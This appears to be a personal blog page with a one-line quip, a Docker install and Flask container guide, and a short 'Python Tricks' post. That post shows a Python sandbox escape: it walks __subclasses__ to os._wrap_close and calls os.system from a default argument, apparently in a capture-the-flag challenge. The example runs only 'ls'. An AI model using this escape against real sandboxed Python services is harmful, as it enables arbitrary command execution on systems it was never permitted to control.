Poor & Dumb

I did not have the heart to say harshly.
If you’re rich, you don’t need to work.
If you’re smart, you don’t need to study.
If you have ever studied and worked, it means you have been poor and dumb.
Think!

Advertisements

Flask App in Docker

Install Docker.

sudo apt update &&
sudo apt install apt-transport-https ca-certificates curl gnupg  software-properties-common &&
sudo curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - &&
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" &&
sudo apt install docker-ce &&
sudo systemctl status docker

Pull an example.

sudo docker pull heddle317/docker-flask-example &&
sudo docker run -p 8080:80 -e ENVIRONMENT='production' -d --name=flask_app heddle317/docker-flask-example &&
sudo curl localhost:8080

Result:

hello world!

Finish.

Thank you, Heddle.

Python Tricks

Via os._wrap_close

Find index.

def fun(a,b,c=print([].__class__.__base__.__subclasses__())):
  c = a+b
  return c

Result:

[<class 'bytearray'>, 
<class 'dict_values'>, 
<class 'bytearray_iterator'>, 
<class '_weakrefset.WeakSet'>, 
<class 'classmethod'>, 
<class 'contextlib._RedirectStream'>, 
<class 'dict_valueiterator'>, 
<class '_frozen_importlib_external.FileLoader'>, 
<class 'NotImplementedType'>, 
<class 'formatteriterator'>, 
<class '_thread.lock'>, 
<class '_frozen_importlib_external._NamespacePath'>, 
<class 'importlib.abc.Loader'>, 
<class 'operator.methodcaller'>, <class 'os._wrap_close'>,

...

]

Index at 14.

Call system function.

def fun(a,b,c=print([].__class__.__base__.__subclasses__()[14].__init__.__globals__['system']('ls'))):
  c = a+b
  return c

Result:

GuessTheString GuessTheString.i64

Finish.